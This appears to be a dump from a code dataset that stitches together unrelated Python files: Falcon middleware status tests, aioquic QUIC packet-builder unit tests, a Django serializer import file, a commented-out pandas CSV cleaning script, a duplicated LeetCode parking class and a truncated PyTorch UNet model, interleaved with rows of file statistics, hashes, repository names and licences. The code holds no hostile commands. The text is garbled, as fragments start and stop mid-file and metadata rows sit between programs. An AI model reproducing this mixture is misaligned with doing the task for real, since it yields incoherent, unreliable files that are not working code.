def test_raise_status_runs_after_hooks(self):
""" Make sure after hooks still run """
app = falcon.API()
app.add_route('/status', TestStatusResource())
client = testing.TestClient(app)
response = client.simulate_request(path='/status', method='PUT')
assert response.status == falcon.HTTP_200
assert response.headers['x-failed'] == 'False'
assert response.text == 'Pass'
def test_raise_status_survives_after_hooks(self):
""" Make sure after hook doesn't overwrite our status """
app = falcon.API()
app.add_route('/status', TestStatusResource())
client = testing.TestClient(app)
response = client.simulate_request(path='/status', method='DELETE')
assert response.status == falcon.HTTP_200
assert response.headers['x-failed'] == 'False'
assert response.text == 'Pass'
def test_raise_status_empty_body(self):
""" Make sure passing None to body results in empty body """
app = falcon.API()
app.add_route('/status', TestStatusResource())
client = testing.TestClient(app)
response = client.simulate_request(path='/status', method='PATCH')
assert response.text == ''
class TestHTTPStatusWithMiddleware:
def test_raise_status_in_process_request(self):
""" Make sure we can raise status from middleware process request """
class TestMiddleware:
def process_request(self, req, resp):
raise HTTPStatus(falcon.HTTP_200,
headers={'X-Failed': 'False'},
body='Pass')
app = falcon.API(middleware=TestMiddleware())
app.add_route('/status', TestHookResource())
client = testing.TestClient(app)
response = client.simulate_request(path='/status', method='GET')
assert response.status == falcon.HTTP_200
assert response.headers['x-failed'] == 'False'
assert response.text == 'Pass'
def test_raise_status_in_process_resource(self):
""" Make sure we can raise status from middleware process resource """
class TestMiddleware:
def process_resource(self, req, resp, resource, params):
raise HTTPStatus(falcon.HTTP_200,
headers={'X-Failed': 'False'},
body='Pass')
app = falcon.API(middleware=TestMiddleware())
app.add_route('/status', TestHookResource())
client = testing.TestClient(app)
response = client.simulate_request(path='/status', method='GET')
assert response.status == falcon.HTTP_200
assert response.headers['x-failed'] == 'False'
assert response.text == 'Pass'
def test_raise_status_runs_process_response(self):
""" Make sure process_response still runs """
class TestMiddleware:
def process_response(self, req, resp, resource, req_succeeded):
resp.status = falcon.HTTP_200
resp.set_header('X-Failed', 'False')
resp.body = 'Pass'
app = falcon.API(middleware=TestMiddleware())
app.add_route('/status', TestHookResource())
client = testing.TestClient(app)
response = client.simulate_request(path='/status', method='GET')
assert response.status == falcon.HTTP_200
assert response.headers['x-failed'] == 'False'
assert response.text == 'Pass'
| 35.263736
| 78
| 0.607354
| 725
| 6,418
| 5.235862
| 0.135172
| 0.081138
| 0.058219
| 0.065068
| 0.793467
| 0.775553
| 0.752371
| 0.752371
| 0.752371
| 0.736038
| 0
| 0.014999
| 0.272826
| 6,418
| 181
| 79
| 35.458564
| 0.798372
| 0.076348
| 0
| 0.728682
| 0
| 0
| 0.082695
| 0
| 0
| 0
| 0
| 0
| 0.170543
| 1
| 0.170543
| false
| 0.124031
| 0.023256
| 0
| 0.248062
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 7
|
d3e2311d99120f1e7b4a420ba5d1c4ec6f7cad89
| 18,792
|
py
|
Python
|
tools/third_party/aioquic/tests/test_packet_builder.py
|
jimmywarting/wpt
|
75d80fa43c763935dff59b3c6b21f4dffa9b03b7
|
[
"BSD-3-Clause"
] | 3
|
2015-11-18T06:24:23.000Z
|
2017-05-21T13:55:56.000Z
|
tools/third_party/aioquic/tests/test_packet_builder.py
|
jimmywarting/wpt
|
75d80fa43c763935dff59b3c6b21f4dffa9b03b7
|
[
"BSD-3-Clause"
] | 153
|
2021-01-28T16:58:19.000Z
|
2022-03-30T22:15:57.000Z
|
tools/third_party/aioquic/tests/test_packet_builder.py
|
almajlis/wpt
|
a1d4dd189a5bdca857845b374946b8002c41d199
|
[
"BSD-3-Clause"
] | 4
|
2018-11-09T00:04:40.000Z
|
2022-01-21T00:22:19.000Z
|
from unittest import TestCase
from aioquic.quic.crypto import CryptoPair
from aioquic.quic.packet import (
PACKET_TYPE_HANDSHAKE,
PACKET_TYPE_INITIAL,
PACKET_TYPE_ONE_RTT,
QuicFrameType,
QuicProtocolVersion,
)
from aioquic.quic.packet_builder import (
QuicPacketBuilder,
QuicPacketBuilderStop,
QuicSentPacket,
)
from aioquic.tls import Epoch
def create_builder(is_client=False):
return QuicPacketBuilder(
host_cid=bytes(8),
is_client=is_client,
packet_number=0,
peer_cid=bytes(8),
peer_token=b"",
spin_bit=False,
version=QuicProtocolVersion.DRAFT_25,
)
def create_crypto():
crypto = CryptoPair()
crypto.setup_initial(bytes(8), is_client=True, version=QuicProtocolVersion.DRAFT_25)
return crypto
class QuicPacketBuilderTest(TestCase):
def test_long_header_empty(self):
builder = create_builder()
crypto = create_crypto()
builder.start_packet(PACKET_TYPE_INITIAL, crypto)
self.assertEqual(builder.remaining_flight_space, 1236)
self.assertTrue(builder.packet_is_empty)
# check datagrams
datagrams, packets = builder.flush()
self.assertEqual(len(datagrams), 0)
self.assertEqual(packets, [])
# check builder
self.assertEqual(builder.packet_number, 0)
def test_long_header_padding(self):
builder = create_builder(is_client=True)
crypto = create_crypto()
# INITIAL, fully padded
builder.start_packet(PACKET_TYPE_INITIAL, crypto)
self.assertEqual(builder.remaining_flight_space, 1236)
buf = builder.start_frame(QuicFrameType.CRYPTO)
buf.push_bytes(bytes(100))
self.assertFalse(builder.packet_is_empty)
# INITIAL, empty
builder.start_packet(PACKET_TYPE_INITIAL, crypto)
self.assertTrue(builder.packet_is_empty)
# check datagrams
datagrams, packets = builder.flush()
self.assertEqual(len(datagrams), 1)
self.assertEqual(len(datagrams[0]), 1280)
self.assertEqual(
packets,
[
QuicSentPacket(
epoch=Epoch.INITIAL,
in_flight=True,
is_ack_eliciting=True,
is_crypto_packet=True,
packet_number=0,
packet_type=PACKET_TYPE_INITIAL,
sent_bytes=1280,
)
],
)
# check builder
self.assertEqual(builder.packet_number, 1)
def test_long_header_initial_client_2(self):
builder = create_builder(is_client=True)
crypto = create_crypto()
# INITIAL, full length
builder.start_packet(PACKET_TYPE_INITIAL, crypto)
self.assertEqual(builder.remaining_flight_space, 1236)
buf = builder.start_frame(QuicFrameType.CRYPTO)
buf.push_bytes(bytes(builder.remaining_flight_space))
self.assertFalse(builder.packet_is_empty)
# INITIAL
builder.start_packet(PACKET_TYPE_INITIAL, crypto)
self.assertEqual(builder.remaining_flight_space, 1236)
buf = builder.start_frame(QuicFrameType.CRYPTO)
buf.push_bytes(bytes(100))
self.assertFalse(builder.packet_is_empty)
# INITIAL, empty
builder.start_packet(PACKET_TYPE_INITIAL, crypto)
self.assertTrue(builder.packet_is_empty)
# check datagrams
datagrams, packets = builder.flush()
self.assertEqual(len(datagrams), 2)
self.assertEqual(len(datagrams[0]), 1280)
self.assertEqual(len(datagrams[1]), 1280)
self.assertEqual(
packets,
[
QuicSentPacket(
epoch=Epoch.INITIAL,
in_flight=True,
is_ack_eliciting=True,
is_crypto_packet=True,
packet_number=0,
packet_type=PACKET_TYPE_INITIAL,
sent_bytes=1280,
),
QuicSentPacket(
epoch=Epoch.INITIAL,
in_flight=True,
is_ack_eliciting=True,
is_crypto_packet=True,
packet_number=1,
packet_type=PACKET_TYPE_INITIAL,
sent_bytes=1280,
),
],
)
# check builder
self.assertEqual(builder.packet_number, 2)
def test_long_header_initial_server(self):
builder = create_builder()
crypto = create_crypto()
# INITIAL
builder.start_packet(PACKET_TYPE_INITIAL, crypto)
self.assertEqual(builder.remaining_flight_space, 1236)
buf = builder.start_frame(QuicFrameType.CRYPTO)
buf.push_bytes(bytes(100))
self.assertFalse(builder.packet_is_empty)
# INITIAL, empty
builder.start_packet(PACKET_TYPE_INITIAL, crypto)
self.assertTrue(builder.packet_is_empty)
# check datagrams
datagrams, packets = builder.flush()
self.assertEqual(len(datagrams), 1)
self.assertEqual(len(datagrams[0]), 145)
self.assertEqual(
packets,
[
QuicSentPacket(
epoch=Epoch.INITIAL,
in_flight=True,
is_ack_eliciting=True,
is_crypto_packet=True,
packet_number=0,
packet_type=PACKET_TYPE_INITIAL,
sent_bytes=145,
)
],
)
# check builder
self.assertEqual(builder.packet_number, 1)
def test_long_header_then_short_header(self):
builder = create_builder()
crypto = create_crypto()
# INITIAL, full length
builder.start_packet(PACKET_TYPE_INITIAL, crypto)
self.assertEqual(builder.remaining_flight_space, 1236)
buf = builder.start_frame(QuicFrameType.CRYPTO)
buf.push_bytes(bytes(builder.remaining_flight_space))
self.assertFalse(builder.packet_is_empty)
# INITIAL, empty
builder.start_packet(PACKET_TYPE_INITIAL, crypto)
self.assertTrue(builder.packet_is_empty)
# ONE_RTT, full length
builder.start_packet(PACKET_TYPE_ONE_RTT, crypto)
self.assertEqual(builder.remaining_flight_space, 1253)
buf = builder.start_frame(QuicFrameType.STREAM_BASE)
buf.push_bytes(bytes(builder.remaining_flight_space))
self.assertFalse(builder.packet_is_empty)
# ONE_RTT, empty
builder.start_packet(PACKET_TYPE_ONE_RTT, crypto)
self.assertTrue(builder.packet_is_empty)
# check datagrams
datagrams, packets = builder.flush()
self.assertEqual(len(datagrams), 2)
self.assertEqual(len(datagrams[0]), 1280)
self.assertEqual(len(datagrams[1]), 1280)
self.assertEqual(
packets,
[
QuicSentPacket(
epoch=Epoch.INITIAL,
in_flight=True,
is_ack_eliciting=True,
is_crypto_packet=True,
packet_number=0,
packet_type=PACKET_TYPE_INITIAL,
sent_bytes=1280,
),
QuicSentPacket(
epoch=Epoch.ONE_RTT,
in_flight=True,
is_ack_eliciting=True,
is_crypto_packet=False,
packet_number=1,
packet_type=PACKET_TYPE_ONE_RTT,
sent_bytes=1280,
),
],
)
# check builder
self.assertEqual(builder.packet_number, 2)
def test_long_header_then_long_header(self):
builder = create_builder()
crypto = create_crypto()
# INITIAL
builder.start_packet(PACKET_TYPE_INITIAL, crypto)
self.assertEqual(builder.remaining_flight_space, 1236)
buf = builder.start_frame(QuicFrameType.CRYPTO)
buf.push_bytes(bytes(199))
self.assertFalse(builder.packet_is_empty)
# HANDSHAKE
builder.start_packet(PACKET_TYPE_HANDSHAKE, crypto)
self.assertEqual(builder.remaining_flight_space, 993)
buf = builder.start_frame(QuicFrameType.CRYPTO)
buf.push_bytes(bytes(299))
self.assertFalse(builder.packet_is_empty)
# ONE_RTT
builder.start_packet(PACKET_TYPE_ONE_RTT, crypto)
self.assertEqual(builder.remaining_flight_space, 666)
buf = builder.start_frame(QuicFrameType.CRYPTO)
buf.push_bytes(bytes(299))
self.assertFalse(builder.packet_is_empty)
# check datagrams
datagrams, packets = builder.flush()
self.assertEqual(len(datagrams), 1)
self.assertEqual(len(datagrams[0]), 914)
self.assertEqual(
packets,
[
QuicSentPacket(
epoch=Epoch.INITIAL,
in_flight=True,
is_ack_eliciting=True,
is_crypto_packet=True,
packet_number=0,
packet_type=PACKET_TYPE_INITIAL,
sent_bytes=244,
),
QuicSentPacket(
epoch=Epoch.HANDSHAKE,
in_flight=True,
is_ack_eliciting=True,
is_crypto_packet=True,
packet_number=1,
packet_type=PACKET_TYPE_HANDSHAKE,
sent_bytes=343,
),
QuicSentPacket(
epoch=Epoch.ONE_RTT,
in_flight=True,
is_ack_eliciting=True,
is_crypto_packet=True,
packet_number=2,
packet_type=PACKET_TYPE_ONE_RTT,
sent_bytes=327,
),
],
)
# check builder
self.assertEqual(builder.packet_number, 3)
def test_short_header_empty(self):
builder = create_builder()
crypto = create_crypto()
builder.start_packet(PACKET_TYPE_ONE_RTT, crypto)
self.assertEqual(builder.remaining_flight_space, 1253)
self.assertTrue(builder.packet_is_empty)
# check datagrams
datagrams, packets = builder.flush()
self.assertEqual(datagrams, [])
self.assertEqual(packets, [])
# check builder
self.assertEqual(builder.packet_number, 0)
def test_short_header_padding(self):
builder = create_builder()
crypto = create_crypto()
# ONE_RTT, full length
builder.start_packet(PACKET_TYPE_ONE_RTT, crypto)
self.assertEqual(builder.remaining_flight_space, 1253)
buf = builder.start_frame(QuicFrameType.CRYPTO)
buf.push_bytes(bytes(builder.remaining_flight_space))
self.assertFalse(builder.packet_is_empty)
# check datagrams
datagrams, packets = builder.flush()
self.assertEqual(len(datagrams), 1)
self.assertEqual(len(datagrams[0]), 1280)
self.assertEqual(
packets,
[
QuicSentPacket(
epoch=Epoch.ONE_RTT,
in_flight=True,
is_ack_eliciting=True,
is_crypto_packet=True,
packet_number=0,
packet_type=PACKET_TYPE_ONE_RTT,
sent_bytes=1280,
)
],
)
# check builder
self.assertEqual(builder.packet_number, 1)
def test_short_header_max_flight_bytes(self):
"""
max_flight_bytes limits sent data.
"""
builder = create_builder()
builder.max_flight_bytes = 1000
crypto = create_crypto()
builder.start_packet(PACKET_TYPE_ONE_RTT, crypto)
self.assertEqual(builder.remaining_flight_space, 973)
buf = builder.start_frame(QuicFrameType.CRYPTO)
buf.push_bytes(bytes(builder.remaining_flight_space))
self.assertFalse(builder.packet_is_empty)
with self.assertRaises(QuicPacketBuilderStop):
builder.start_packet(PACKET_TYPE_ONE_RTT, crypto)
builder.start_frame(QuicFrameType.CRYPTO)
# check datagrams
datagrams, packets = builder.flush()
self.assertEqual(len(datagrams), 1)
self.assertEqual(len(datagrams[0]), 1000)
self.assertEqual(
packets,
[
QuicSentPacket(
epoch=Epoch.ONE_RTT,
in_flight=True,
is_ack_eliciting=True,
is_crypto_packet=True,
packet_number=0,
packet_type=PACKET_TYPE_ONE_RTT,
sent_bytes=1000,
),
],
)
# check builder
self.assertEqual(builder.packet_number, 1)
def test_short_header_max_flight_bytes_zero(self):
"""
max_flight_bytes = 0 only allows ACKs and CONNECTION_CLOSE.
Check CRYPTO is not allowed.
"""
builder = create_builder()
builder.max_flight_bytes = 0
crypto = create_crypto()
with self.assertRaises(QuicPacketBuilderStop):
builder.start_packet(PACKET_TYPE_ONE_RTT, crypto)
builder.start_frame(QuicFrameType.CRYPTO)
# check datagrams
datagrams, packets = builder.flush()
self.assertEqual(len(datagrams), 0)
# check builder
self.assertEqual(builder.packet_number, 0)
def test_short_header_max_flight_bytes_zero_ack(self):
"""
max_flight_bytes = 0 only allows ACKs and CONNECTION_CLOSE.
Check ACK is allowed.
"""
builder = create_builder()
builder.max_flight_bytes = 0
crypto = create_crypto()
builder.start_packet(PACKET_TYPE_ONE_RTT, crypto)
buf = builder.start_frame(QuicFrameType.ACK)
buf.push_bytes(bytes(64))
with self.assertRaises(QuicPacketBuilderStop):
builder.start_packet(PACKET_TYPE_ONE_RTT, crypto)
builder.start_frame(QuicFrameType.CRYPTO)
# check datagrams
datagrams, packets = builder.flush()
self.assertEqual(len(datagrams), 1)
self.assertEqual(len(datagrams[0]), 92)
self.assertEqual(
packets,
[
QuicSentPacket(
epoch=Epoch.ONE_RTT,
in_flight=False,
is_ack_eliciting=False,
is_crypto_packet=False,
packet_number=0,
packet_type=PACKET_TYPE_ONE_RTT,
sent_bytes=92,
),
],
)
# check builder
self.assertEqual(builder.packet_number, 1)
def test_short_header_max_total_bytes_1(self):
"""
max_total_bytes doesn't allow any packets.
"""
builder = create_builder()
builder.max_total_bytes = 11
crypto = create_crypto()
with self.assertRaises(QuicPacketBuilderStop):
builder.start_packet(PACKET_TYPE_ONE_RTT, crypto)
# check datagrams
datagrams, packets = builder.flush()
self.assertEqual(datagrams, [])
self.assertEqual(packets, [])
# check builder
self.assertEqual(builder.packet_number, 0)
def test_short_header_max_total_bytes_2(self):
"""
max_total_bytes allows a short packet.
"""
builder = create_builder()
builder.max_total_bytes = 800
crypto = create_crypto()
builder.start_packet(PACKET_TYPE_ONE_RTT, crypto)
self.assertEqual(builder.remaining_flight_space, 773)
buf = builder.start_frame(QuicFrameType.CRYPTO)
buf.push_bytes(bytes(builder.remaining_flight_space))
self.assertFalse(builder.packet_is_empty)
with self.assertRaises(QuicPacketBuilderStop):
builder.start_packet(PACKET_TYPE_ONE_RTT, crypto)
# check datagrams
datagrams, packets = builder.flush()
self.assertEqual(len(datagrams), 1)
self.assertEqual(len(datagrams[0]), 800)
self.assertEqual(
packets,
[
QuicSentPacket(
epoch=Epoch.ONE_RTT,
in_flight=True,
is_ack_eliciting=True,
is_crypto_packet=True,
packet_number=0,
packet_type=PACKET_TYPE_ONE_RTT,
sent_bytes=800,
)
],
)
# check builder
self.assertEqual(builder.packet_number, 1)
def test_short_header_max_total_bytes_3(self):
builder = create_builder()
builder.max_total_bytes = 2000
crypto = create_crypto()
builder.start_packet(PACKET_TYPE_ONE_RTT, crypto)
self.assertEqual(builder.remaining_flight_space, 1253)
buf = builder.start_frame(QuicFrameType.CRYPTO)
buf.push_bytes(bytes(builder.remaining_flight_space))
self.assertFalse(builder.packet_is_empty)
builder.start_packet(PACKET_TYPE_ONE_RTT, crypto)
self.assertEqual(builder.remaining_flight_space, 693)
buf = builder.start_frame(QuicFrameType.CRYPTO)
buf.push_bytes(bytes(builder.remaining_flight_space))
self.assertFalse(builder.packet_is_empty)
with self.assertRaises(QuicPacketBuilderStop):
builder.start_packet(PACKET_TYPE_ONE_RTT, crypto)
# check datagrams
datagrams, packets = builder.flush()
self.assertEqual(len(datagrams), 2)
self.assertEqual(len(datagrams[0]), 1280)
self.assertEqual(len(datagrams[1]), 720)
self.assertEqual(
packets,
[
QuicSentPacket(
epoch=Epoch.ONE_RTT,
in_flight=True,
is_ack_eliciting=True,
is_crypto_packet=True,
packet_number=0,
packet_type=PACKET_TYPE_ONE_RTT,
sent_bytes=1280,
),
QuicSentPacket(
epoch=Epoch.ONE_RTT,
in_flight=True,
is_ack_eliciting=True,
is_crypto_packet=True,
packet_number=1,
packet_type=PACKET_TYPE_ONE_RTT,
sent_bytes=720,
),
],
)
# check builder
self.assertEqual(builder.packet_number, 2)
| 32.968421
| 88
| 0.587218
| 1,873
| 18,792
| 5.597437
| 0.067272
| 0.100153
| 0.062953
| 0.064098
| 0.906143
| 0.898226
| 0.890691
| 0.861408
| 0.85063
| 0.847196
| 0
| 0.020825
| 0.335622
| 18,792
| 569
| 89
| 33.026362
| 0.818903
| 0.049649
| 0
| 0.762353
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.228235
| 1
| 0.037647
| false
| 0
| 0.011765
| 0.002353
| 0.056471
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
d3fb75d416d4de2f33d0c047d283cc9c58356254
| 214
|
py
|
Python
|
django_analyses/serializers/pipeline/__init__.py
|
TheLabbingProject/django_analyses
|
08cac40a32754a265b37524f08ec6160c69ebea8
|
[
"Apache-2.0"
] | 1
|
2020-12-30T12:43:34.000Z
|
2020-12-30T12:43:34.000Z
|
django_analyses/serializers/pipeline/__init__.py
|
TheLabbingProject/django_analyses
|
08cac40a32754a265b37524f08ec6160c69ebea8
|
[
"Apache-2.0"
] | 59
|
2019-12-25T13:14:56.000Z
|
2021-07-22T12:24:46.000Z
|
django_analyses/serializers/pipeline/__init__.py
|
TheLabbingProject/django_analyses
|
08cac40a32754a265b37524f08ec6160c69ebea8
|
[
"Apache-2.0"
] | 2
|
2020-05-24T06:44:27.000Z
|
2020-07-09T15:47:31.000Z
|
from django_analyses.serializers.pipeline.node import NodeSerializer
from django_analyses.serializers.pipeline.pipe import PipeSerializer
from django_analyses.serializers.pipeline.pipeline import PipelineSerializer
| 71.333333
| 76
| 0.906542
| 24
| 214
| 7.958333
| 0.458333
| 0.157068
| 0.282723
| 0.455497
| 0.581152
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.051402
| 214
| 3
| 76
| 71.333333
| 0.940887
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
31ceea5445390604d616891b0e70a2256793ad94
| 3,293
|
py
|
Python
|
dataSet/raw_data/data_preprocessingNew.py
|
PhilipGuo1992/visualization-project
|
33819cff65310b3227a720a00ea7e01194520ed4
|
[
"MIT"
] | 2
|
2017-11-25T02:35:06.000Z
|
2017-11-25T02:35:09.000Z
|
dataSet/raw_data/data_preprocessingNew.py
|
PhilipGuo1992/visualization-project
|
33819cff65310b3227a720a00ea7e01194520ed4
|
[
"MIT"
] | null | null | null |
dataSet/raw_data/data_preprocessingNew.py
|
PhilipGuo1992/visualization-project
|
33819cff65310b3227a720a00ea7e01194520ed4
|
[
"MIT"
] | 1
|
2018-07-07T22:48:18.000Z
|
2018-07-07T22:48:18.000Z
|
import numpy as np
import matplotlib.pyplot as plt
import pandas as pd
# ---- commercial bank branches----------
#expect = pd.read_csv("commercial bank branches.csv")
#columsE = expect.shape[1]
## convert to NaN
#expect = expect[expect.iloc[:,:columsE] != '..']
## drop All 'every cell is NaN' colums
#expect = expect.dropna(axis = 1, how = 'all')
## ..... row
#expect = expect.dropna(axis = 0, how = 'all')
#
#expect = expect.drop('2001 [YR2001]', axis= 1)
#expect = expect.drop('2002 [YR2002]', axis= 1)
#expect = expect.drop('2003 [YR2003]', axis= 1)
#
##expect = expect.dropna(subset=['2001 [YR2001]', '2002 [YR2002]'], thresh=1)
#expect = expect.dropna(subset=['2004 [YR2004]', '2005 [YR2005]'], how='all')
#expect = expect.dropna(subset=['2014 [YR2014]', '2015 [YR2015]'], how='all')
#columsE = expect.shape[1]
#
#E = expect.iloc[:, 4:columsE].values
## replace NaN with mean
#from sklearn.preprocessing import Imputer
#imputer = Imputer(missing_values = 'NaN', strategy = 'mean', axis = 0)
#imputer = imputer.fit(E[:, 0:columsE])
#E[:, 0:columsE] = imputer.transform(E[:, 0:columsE])
#expect.to_csv("commercial bank branchesNew.csv")
# ----- Gini index ---------
#expect = pd.read_csv("gini index.csv")
#columsE = expect.shape[1]
## convert to NaN
#expect = expect[expect.iloc[:,:columsE] != '..']
## drop All 'every cell is NaN' colums
#expect = expect.dropna(axis = 1, how = 'all')
## ..... row
#expect = expect.dropna(axis = 0, how = 'all')
## delete colum by index
#
#b = []
#for i in range(4, 18):
# b.append(i)
#
#expect = expect.drop(expect.columns[b],axis = 1)
#
#
##expect = expect.dropna(subset=['2001 [YR2001]', '2002 [YR2002]'], thresh=1)
#expect = expect.dropna(subset=['2004 [YR2004]', '2005 [YR2005]'], how='all')
#expect = expect.dropna(subset=['2014 [YR2014]', '2015 [YR2015]'], how='all')
#columsE = expect.shape[1]
#
#E = expect.iloc[:, 4:columsE].values
## replace NaN with mean
#from sklearn.preprocessing import Imputer
#imputer = Imputer(missing_values = 'NaN', strategy = 'mean', axis = 0)
#imputer = imputer.fit(E[:, 0:columsE])
#E[:, 0:columsE] = imputer.transform(E[:, 0:columsE])
#expect.to_csv("gini indexNew.csv")
# ------------- internet users.csv ------------
#expect = pd.read_csv("co2 emissions.csv")
#columsE = expect.shape[1]
#
## convert to NaN
#expect = expect[expect.iloc[:,:columsE] != '..']
## drop All 'every cell is NaN' colums
#expect = expect.dropna(axis = 1, how = 'all')
## ..... row
#expect = expect.dropna(axis = 0, how = 'all')
## delete colum by index
#
#b = []
#for i in range(4, 17):
# b.append(i)
#
#expect = expect.drop(expect.columns[b],axis = 1)
##expect = expect.dropna(subset=['2005 [YR2005]', '2006 [YR2006]'], thresh=1)
#expect = expect.dropna(subset=['2004 [YR2004]', '2005 [YR2005]'], how='all')
#expect = expect.dropna(subset=['2012 [YR2012]', '2013 [YR2013]'], how='all')
#columsE = expect.shape[1]
#E = expect.iloc[:, 4:columsE].values
## replace NaN with mean
#from sklearn.preprocessing import Imputer
#imputer = Imputer(missing_values = 'NaN', strategy = 'mean', axis = 0)
#imputer = imputer.fit(E[:, 0:columsE])
#E[:, 0:columsE] = imputer.transform(E[:, 0:columsE])
#expect.to_csv("co2 emissionsNew.csv")
#-------------------- New ----------------
new = pd.read_csv("co2 emissions.csv")
| 32.284314
| 77
| 0.636502
| 453
| 3,293
| 4.604857
| 0.200883
| 0.149569
| 0.129434
| 0.103547
| 0.842282
| 0.822148
| 0.800575
| 0.800575
| 0.800575
| 0.800575
| 0
| 0.074308
| 0.133617
| 3,293
| 101
| 78
| 32.60396
| 0.656852
| 0.905861
| 0
| 0
| 0
| 0
| 0.084158
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.75
| 0
| 0.75
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 9
|
9edb30fd69df1fa97dd708833d96f529f1c74919
| 515
|
py
|
Python
|
Leetcode/Python/_1603.py
|
Xrenya/algorithms
|
aded82cacde2f4f2114241907861251e0e2e5638
|
[
"MIT"
] | 1
|
2021-11-28T15:03:32.000Z
|
2021-11-28T15:03:32.000Z
|
Leetcode/Python/_1603.py
|
Xrenya/algorithms
|
aded82cacde2f4f2114241907861251e0e2e5638
|
[
"MIT"
] | null | null | null |
Leetcode/Python/_1603.py
|
Xrenya/algorithms
|
aded82cacde2f4f2114241907861251e0e2e5638
|
[
"MIT"
] | null | null | null |
class ParkingSystem:
def __init__(self, big: int, medium: int, small: int):
self.count = [0, big, medium, small]
def addCar(self, carType: int) -> bool:
self.count[carType] -= 1
return self.count[carType] >= 0
class ParkingSystem:
def __init__(self, big: int, medium: int, small: int):
self.count = {1: big, 2: medium, 3: small}
def addCar(self, carType: int) -> bool:
self.count[carType] -= 1
return self.count[carType] >= 0
| 28.611111
| 58
| 0.574757
| 66
| 515
| 4.363636
| 0.272727
| 0.1875
| 0.222222
| 0.173611
| 0.923611
| 0.923611
| 0.923611
| 0.923611
| 0.923611
| 0.923611
| 0
| 0.021858
| 0.28932
| 515
| 17
| 59
| 30.294118
| 0.765027
| 0
| 0
| 0.833333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| false
| 0
| 0
| 0
| 0.666667
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 11
|
731767f0788e703d7a762fa93a17232d57dd7c1f
| 33,851
|
py
|
Python
|
delira/models/segmentation/unet.py
|
NKPmedia/delira
|
a10227e30c14c6507a1790813e53572e0d841c21
|
[
"BSD-2-Clause"
] | null | null | null |
delira/models/segmentation/unet.py
|
NKPmedia/delira
|
a10227e30c14c6507a1790813e53572e0d841c21
|
[
"BSD-2-Clause"
] | null | null | null |
delira/models/segmentation/unet.py
|
NKPmedia/delira
|
a10227e30c14c6507a1790813e53572e0d841c21
|
[
"BSD-2-Clause"
] | null | null | null |
# Adapted from https://github.com/jaxony/unet-pytorch/blob/master/model.py
from delira import get_backends
from delira.utils.decorators import make_deprecated
if "TORCH" in get_backends():
import torch
import torch.nn.functional as F
from torch.nn import init
from ..abstract_network import AbstractPyTorchNetwork
class UNet2dPyTorch(AbstractPyTorchNetwork):
"""
The :class:`UNet2dPyTorch` is a convolutional encoder-decoder neural
network.
Contextual spatial information (from the decoding,
expansive pathway) about an input tensor is merged with
information representing the localization of details
(from the encoding, compressive pathway).
Notes
-----
Differences to the original paper:
* padding is used in 3x3 convolutions to prevent loss of border
pixels
* merging outputs does not require cropping due to (1)
* residual connections can be used by specifying
``merge_mode='add'``
* if non-parametric upsampling is used in the decoder pathway (
specified by upmode='upsample'), then an additional 1x1 2d
convolution occurs after upsampling to reduce channel
dimensionality by a factor of 2. This channel halving happens
with the convolution in the tranpose convolution (specified by
``upmode='transpose'``)
References
----------
https://arxiv.org/abs/1505.04597
See Also
--------
:class:`UNet3dPyTorch`
"""
@make_deprecated("Own repository to be announced")
def __init__(self, num_classes, in_channels=1, depth=5,
start_filts=64, up_mode='transpose',
merge_mode='concat'):
"""
Parameters
----------
num_classes : int
number of output classes
in_channels : int
number of channels for the input tensor (default: 1)
depth : int
number of MaxPools in the U-Net (default: 5)
start_filts : int
number of convolutional filters for the first conv (affects all
other conv-filter numbers too; default: 64)
up_mode : str
type of upconvolution. Must be one of ['transpose', 'upsample']
if 'transpose':
Use transpose convolution for upsampling
if 'upsample':
Use bilinear Interpolation for upsampling (no additional
trainable parameters)
default: 'transpose'
merge_mode : str
mode of merging the two paths (with and without pooling). Must
be one of ['merge', 'add']
if 'merge':
Concatenates along the channel dimension (Original UNet)
if 'add':
Adds both tensors (Residual behaviour)
default: 'merge'
"""
super().__init__()
if up_mode in ('transpose', 'upsample'):
self.up_mode = up_mode
else:
raise ValueError("\"{}\" is not a valid mode for "
"upsampling. Only \"transpose\" and "
"\"upsample\" are allowed.".format(up_mode))
if merge_mode in ('concat', 'add'):
self.merge_mode = merge_mode
else:
raise ValueError("\"{}\" is not a valid mode for"
"merging up and down paths. "
"Only \"concat\" and "
"\"add\" are allowed.".format(up_mode))
# NOTE: up_mode 'upsample' is incompatible with merge_mode 'add'
if self.up_mode == 'upsample' and self.merge_mode == 'add':
raise ValueError("up_mode \"upsample\" is incompatible "
